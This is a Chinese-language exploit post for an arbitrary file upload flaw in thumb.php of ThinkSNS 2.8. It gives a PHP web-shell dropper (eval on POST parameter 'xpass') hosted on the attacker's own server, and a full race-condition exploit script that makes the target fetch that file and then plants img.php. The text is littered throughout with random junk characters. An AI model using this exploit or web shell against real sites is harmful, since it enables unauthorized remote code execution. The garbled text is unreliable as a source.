漏洞版本
! _# H5 Y8 P; L. t- O9 ^; d存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)- X* L9 N! Y' a9 G" \
漏洞文件
, C" [% ]9 u4 E9 E6 Z+ z) {存在漏洞的文件为:thumb.php
7 j/ Z6 S9 i3 c! E作者:韦鲲鹏
7 l$ l+ |! [: c; o2 t1、 准备如下PHP文件并上传到服务器(自己的)。
# D' u2 n a5 T文件内容如下:
% T* J, {4 l! \( D: Q* L3 l6 E<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
9 H/ Q% R7 z- N* [- e6 U+ g! O2、 计算出临时的文件名:8 \$ w" C3 s3 l
这里我们可以看文件的99行(刚刚是不是没注意呀!)。0 C3 x: T. y- T" i1 C! ]0 H
! Y/ |# {+ _" T# X2 z$ G' B
3、 上传临时文件。3 J$ Z( m C1 h' Y) N8 c
4、 访问临时文件。& d+ p: p+ \+ M1 I, H. I$ ~8 E) f
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)/ w* D8 v. U, P7 \& P) i8 s0 f( I
Exploit文件内容如下:(这个我就不详细解释了)
1 {% T& g. [& C( K# b+ v' s<?php
/ d6 I u6 @: Lerror_reporting(0);; V4 J k. m, m- u# I( b# N
set_time_limit(0);
$ Y' X, S/ Z3 c+ h5 u" iini_set(“default_socket_timeout”, 5);
% \5 D0 q/ J2 e$ o) yfunction http_send($host, $port, $headers) {
) D7 J1 }- I* O! m$fp = fsockopen($host, $port);/ Y9 z# @5 A' Q
if (!$fp) die(‘Connection -> fail’);
8 a9 L% }" a$ \7 Y. F* ^fputs($fp, $headers);. ?' A+ {1 l0 y: x
return $fp;! k5 d7 h E, o, Q
}+ j. S7 X$ [* G, v
function http_recv($fp) {. y* ]4 Z: V# ?9 s& t. Z
$ret=”";
. N0 J5 l: ]# c" ~# owhile (!feof($fp))
- G5 L- {! ]# y S$ret.= fgets($fp, 1024);9 r* i! Y) f, G6 D
fclose($fp);
' T8 o: d+ P" p& `# |return $ret;( H# Z r9 K5 F! `! F: l; V
}1 Z7 j& O7 G( {2 X' \" v/ I9 m
print “\n# ThinkSns Arbitrary File Upload #\n”;
7 I9 \8 o5 ` r1 s5 o4 g* W9 Uprint “# Discovered by 韦鲲鹏 #\n\n”;8 x3 {: g1 R* e# m- P6 j M1 |
if ($argc < 4) {
8 U& Q; U" G* b4 `. }print “Usage: php <host> <path> <romote_url>\n”;
+ b8 c# z6 Q X( F$ aprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;% z; \& v9 h; A! q
die();
" S2 O8 i% P; O5 `: V}
2 M. k& ^0 L5 G$host = $argv[1];
; `* s6 ]9 r; Y0 x0 U' g0 B1 G4 H$path = $argv[2];
2 ?' X2 t1 r+ ^5 ]! E6 }- M$url = $argv[3];- C! o0 W& e7 ]
$i=0;0 x/ \7 r( Y- i5 R+ y
//上传数据包; j# @# o% r5 v `9 I$ B2 L
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;0 p5 e8 H: |1 T1 I* F* r
$headers_up .= “Host: “.$host.”\r\n”;. S6 k$ ~" ?5 N
$headers_up .= “Connection: close\r\n\r\n”;
" A7 Z3 e$ t( r$ q8 \5 w! {echo $headers_up;8 u2 ]/ f9 \0 W( ?: o7 |0 e
//临时文件访问数据包
. X% a, g* `- J$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;* X& j% W! z5 g, }- g. I" }& q
$headers .= “Host: “.$host.”\r\n”;
) X9 d6 ]; W, F4 z( O/ R, |$headers .= “Connection: close\r\n\r\n”;
. y- C2 H( V* _, S' v$ G( Qecho $headers;
G" @8 q. Z1 C2 rwhile(++$i<10) {' H9 Y) V2 `! B
fclose(http_send($host, 80, $headers));
+ e- {. M3 f$ o) o5 a0 `2 @( D}& f) C# j% \+ r# C$ {" U
fclose(http_send($host, 80, $headers_up));
- c6 V) j& e, t' \while(++$i<50) {
7 F/ Z+ s6 H8 T4 H! ?! Vfclose(http_send($host, 80, $headers));0 z9 Y! X$ \* ~+ w; p
}
% }1 j+ j$ i( ~2 A3 p7 ]" \$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;, Y! @* c* ]2 O; v
$headers .= “Host: “.$host.”\r\n”;
! ~& j7 X$ q- y+ S$headers .= “Connection: close\r\n\r\n”;' w3 {6 h8 L0 g9 S: o
$res=http_recv(http_send($host, 80, $headers));' c+ f, B7 Z% w6 O- E" `
if(preg_match(‘/200 OK/’,$res)) {; q1 Y! _1 c# O
print “Success!\n\n”;
5 \% L' B1 u' n6 O: L2 ]4 }} else {
m+ |; x. {# x3 U9 rprint “Fail!\n\n”;
; B( K4 S ]0 q9 o4 z$ f: F4 @}" t6 b+ ~% z! h; u& x4 Y- e) ]
?>
$ m. q) c3 L Q+ S* n* D |